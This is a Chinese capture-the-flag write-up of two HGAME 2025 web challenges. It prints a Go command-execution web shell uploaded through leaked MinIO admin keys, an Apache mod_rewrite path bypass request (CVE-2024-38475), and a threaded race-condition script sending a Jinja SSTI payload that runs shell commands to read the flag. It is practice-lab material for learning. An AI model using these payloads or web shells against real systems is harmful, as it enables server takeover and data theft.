前言 hgame真做不动,week1最后2道没看懂,week2也没心情看了 感觉题目质量还是不错的,wp还是太简洁了,遂自己另外复现,力求搞懂
[WEEK1] Level 25 双面人派对
安全 | 已勘探完全 | 实体数量中等
有可信报告称,Level 25 是一个热闹的宴会厅,这里有无尽的美酒和佳肴和看似正常的“人”,但是没有人知道它们在庆祝什么,只是不停地庆祝又庆祝。
它们会拉着来到这里的所有实体一起,无止境地办这一场派对。
Level 25 看起来有两扇门,位于对称的位置,但它们本质上是互为内外的一扇门,曾有人试图通过这扇门离开,但他们会发现自己从另一扇门里回到了宴会厅。
第一位逃离 Level 25 的探险家留下了离开这里的办法:
找到那个女人,他会帮你解开双面人的秘密
试着与0号实体沟通,他会告诉你出去的方法
真没想到这题前面是re的,要用upx脱壳和ida(**“那个女人”**的提示),怪不得看得一脸懵 题目环境给了两个地址,一个能访问下载main(elf文件),一个直接访问不了 用upx脱完后拖进去ida,这下给web手整成re入门了,shift+F12
,使用strings视图,不然直接搜字符串都找不到相关的信息(别问我为什么才知道)
发现:
1 2 3 4 5 6 7 8 9 .noptrdata:0000000000D614E0 level25_conf__gobytes_1 db 'minio:',0Dh,0Ah .noptrdata:0000000000D614E0 ; DATA XREF: .data:level25_conf_defaultConfig↓o .noptrdata:0000000000D614E8 db ' endpoint: "127.0.0.1:9000"',0Dh,0Ah .noptrdata:0000000000D61506 db ' access_key: "minio_admin"',0Dh,0Ah .noptrdata:0000000000D61523 db ' secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="',0Dh .noptrdata:0000000000D61560 db 0Ah .noptrdata:0000000000D61561 db ' bucket: "prodbucket"',0Dh,0Ah .noptrdata:0000000000D61579 db ' key: "update" ',0 .noptrdata:0000000000D6158A align 20h
又是陌生的东西,Minio Client,大概理解为管理存储服务(存储桶)的一个工具 上面是minio客户端的配置文件,有AKSK(access key和secret key)
另外,main是elf文件,可以在linux系统上运行,运行之后可以发现如下报错
1 2025/02/18 21:24:36 [overseer master] failed to write temp binary: Get "http://127.0.0.1:9000/prodbucket/?location=" : dial tcp 127.0.0.1:9000: connect: connection refused
说明尝试从 MinIO 服务器下载或写入一个临时文件时失败 所以我们接下来得本地使用mc,去配置对应的客户端,用aksk连接看看
查阅 官方文档
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 onez3r0@FIREBAT16air:~/source_file$ mc config host add level25 http://node1.hgame.vidar.club:32660/ minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs= Added `level25` successfully. onez3r0@FIREBAT16air:~/source_file$ mc admin info level25 ● node1.hgame.vidar.club:32660 Uptime: 4 minutes Version: 2024-12-18T13:15:44Z Network: 1/1 OK Drives: 1/1 OK Pool: 1 ┌──────┬───────────────────────┬─────────────────────┬──────────────┐ │ Pool │ Drives Usage │ Erasure stripe size │ Erasure sets │ │ 1st │ 8.7% (total: 472 GiB) │ 1 │ 1 │ └──────┴───────────────────────┴─────────────────────┴──────────────┘ 6.7 MiB Used, 2 Buckets, 2 Objects 1 drive online, 0 drives offline, EC:0
看信息,有hints,下载src
1 2 3 4 5 6 7 onez3r0@FIREBAT16air:~/minio-binaries$ ./mc ls level25 [2025-01-17 22:11:05 CST] 0B hints/ [2025-01-17 22:11:09 CST] 0B prodbucket/ onez3r0@FIREBAT16air:~/minio-binaries$ ./mc ls level25/hints [2025-01-17 22:11:05 CST] 8.2KiB STANDARD src.zip onez3r0@FIREBAT16air:~/minio-binaries$ ./mc cp level25/hints/src.zip ./src.zip ...033/hints/src.zip: 8.24 KiB / 8.24 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 30.30 KiB/s 0s
src里面查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package mainimport ( "level25/fetch" "level25/conf" "github.com/gin-gonic/gin" "github.com/jpillora/overseer" ) func main () { fetcher := &fetch.MinioFetcher{ Bucket: conf.MinioBucket, Key: conf.MinioKey, Endpoint: conf.MinioEndpoint, AccessKey: conf.MinioAccessKey, SecretKey: conf.MinioSecretKey, } overseer.Run(overseer.Config{ Program: program, Fetcher: fetcher, }) } func program (state overseer.State) { g := gin.Default() g.StaticFS("/" , gin.Dir("." , true )) g.Run(":8080" ) }
看到使用了overseer
库,能实现热重启功能,即更新源代码不需要重启服务器 加上我们已经能使用admin操纵mc了,那么我可以重新写main.go
再使用mc admin update
将原来的服务替换为我们的rce代码,也可以读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 package mainimport ( "fmt" "level25/conf" "level25/fetch" "log" "os/exec" "github.com/gin-gonic/gin" "github.com/jpillora/overseer" ) func main () { fetcher := &fetch.MinioFetcher{ Bucket: conf.MinioBucket, Key: conf.MinioKey, Endpoint: conf.MinioEndpoint, AccessKey: conf.MinioAccessKey, SecretKey: conf.MinioSecretKey, } overseer.Run(overseer.Config{ Program: program, Fetcher: fetcher, }) } func program (state overseer.State) { g := gin.Default() g.GET("/cmd" , func (c *gin.Context) { command := c.Query("command" ) if command == "" { c.JSON(400 , gin.H{ "error" : "Command parameter is required" , }) return } output, err := executeCommand(command) if err != nil { c.JSON(500 , gin.H{ "error" : fmt.Sprintf("Failed to execute command: %v" , err), }) return } c.JSON(200 , gin.H{ "command" : command, "output" : output, }) }) if err := g.Run(":8080" ); err != nil { log.Fatalf("Failed to start server: %v" , err) } } func executeCommand (command string ) (string , error ) { cmd := exec.Command("sh" , "-c" , command) output, err := cmd.CombinedOutput() if err != nil { return "" , fmt.Errorf("command execution failed: %w" , err) } return string (output), nil }
编译并使用mc上传
1 2 3 4 onez3r0@FIREBAT16air:~/source_file/src$ go build update.go onez3r0@FIREBAT16air:~/source_file/src$ cd ../../minio-binaries onez3r0@FIREBAT16air:~/minio-binaries$ ./mc cp ../source_file/src/update level25/prodbucket/update ...e_file/src/update: 14.94 MiB / 14.94 MiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 4.43 MiB/s 3s
访问/cmd?command=cat /flag
即可
1 flag{YOu_sald_R1gHT_but-You_sh0Uld_P1Ay-G3nShin_ImpAcT0}
后记总结:原来这就是 自更新RCE ,CVE-2023-28432 的一个简版!
[WEEK1] Level 38475 角落
不安全 | 未勘探完全 | 实体侵占
这里被称为“角落(The Corner)”,仿佛是某个庞大迷宫中被遗漏的碎片。
墙壁上挂着一块破旧的留言板,四周弥漫着昏暗的光线和低沉的回响。
据说,这块留言板是通往外界的唯一线索,但它隐藏着一个不为人知的秘密——留言板的管理者会查看留言板上的信息,并决定谁有资格离开。
这里的实体似乎对留言板有着特殊的兴趣,它们会不断地在留言板上留下奇怪的符号或重复的单词,仿佛在进行某种神秘的仪式。
或许,可以通过这些仪式借助管理者的力量离开。
先总结一下这题的背景:关于Apache HTTP Server mod_rewrite输出不当逃逸漏洞 (CVE-2024-38475) Black Hat USA 2024 Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!
复现: 开启靶机后,靶机是raceout.service
提示“竞争”,用dirmap扫robots.txt
->/app.conf
认真看了下配置,重点在Rewrite
上,注意对user-agent
有要求!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Include by httpd.conf <Directory "/usr/local/apache2/app"> Options Indexes AllowOverride None Require all granted </Directory> <Files "/usr/local/apache2/app/app.py"> Order Allow,Deny Deny from all </Files> RewriteEngine On RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/" RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo" ProxyPass "/app/" "http://127.0.0.1:5000/"
利用RewriteRule
和 DocumentRoot
解析不一致,导致绕过目录限制 构造payload,%3F
是?
1 2 GET /admin/usr/local/apache2/app/app.py%3F User-Agent : L1nk/
读到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from flask import Flask, request, render_template, render_template_string, redirectimport osimport templatesapp = Flask(__name__) pwd = os.path.dirname(__file__) show_msg = templates.show_msg def readmsg (): filename = pwd + "/tmp/message.txt" if os.path.exists(filename): f = open (filename, 'r' ) message = f.read() f.close() return message else : return 'No message now.' @app.route('/index' , methods=['GET' ] ) def index (): status = request.args.get('status' ) if status is None : status = '' return render_template("index.html" , status=status) @app.route('/send' , methods=['POST' ] ) def write_message (): filename = pwd + "/tmp/message.txt" message = request.form['message' ] f = open (filename, 'w' ) f.write(message) f.close() return redirect('index?status=Send successfully!!' ) @app.route('/read' , methods=['GET' ] ) def read_message (): if "{" not in readmsg(): show = show_msg.replace("{{message}}" , readmsg()) return render_template_string(show) return 'waf!!' if __name__ == '__main__' : app.run(host = '0.0.0.0' , port = 5000 )
看到waf了{
,不让ssti,不知道该怎么办了T T 原来是这里有问题
1 2 3 4 5 6 @app.route('/read' , methods=['GET' ] ) def read_message (): if "{" not in readmsg(): // 第一次调用 show = show_msg.replace("{{message}}" , readmsg()) // 第二次重新调用 return render_template_string(show) return 'waf!!'
这里很危险的是:readmsg()
单独拎出来作为一个函数,调用了两次!
1 2 3 4 5 6 7 8 9 def readmsg (): filename = pwd + "/tmp/message.txt" if os.path.exists(filename): f = open (filename, 'r' ) message = f.read() f.close() return message else : return 'No message now.'
那么我们就可以使用条件竞争 ,使得第一次调用时,message
不包含{
,进入if
之后,第二次调用之前,再通过/send
中的write_message()
修改 message
为我们的ssti payload,实现绕过
1 2 3 4 5 6 7 8 @app.route('/send' , methods=['POST' ] ) def write_message (): filename = pwd + "/tmp/message.txt" message = request.form['message' ] f = open (filename, 'w' ) f.write(message) f.close()
唉这里不太会写多线程脚本,直接偷学长的 来学习一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import requestsimport threadingsend_url = 'http://node1.hgame.vidar.club:31356/app/send' read_url = 'http://node1.hgame.vidar.club:31356/app/read' malicious_message = '{{self.__init__.__globals__.__builtins__.__import__("os").popen("cat /flag").read()}}' def read_file_content (file_path ): with open (file_path, 'r' ) as file: return file.read() def send_message (message ): response = requests.post(send_url, data={'message' : message}) return response def read_message (): response = requests.get(read_url) return response.text def race_condition (): normal_message = read_file_content("D:\\Code\\CTF\\CTF_source_file\\Source_files\\2025\\Hgame2025-2\\rubbish.txt" ) while True : threading.Thread(target=send_message, args=(normal_message,)).start() threading.Thread(target=send_message, args=(malicious_message,)).start() response = read_message() print (response) if 'hgame' in response: print ('Race condition successful, stopping...' ) break thread = threading.Thread(target=race_condition) thread.start() thread.join()
1 2 Latest message: hgame{Y0U_FInd-tHE-KEY_T0_rrR@C3-0uUuUT756047} Race condition successful, stopping...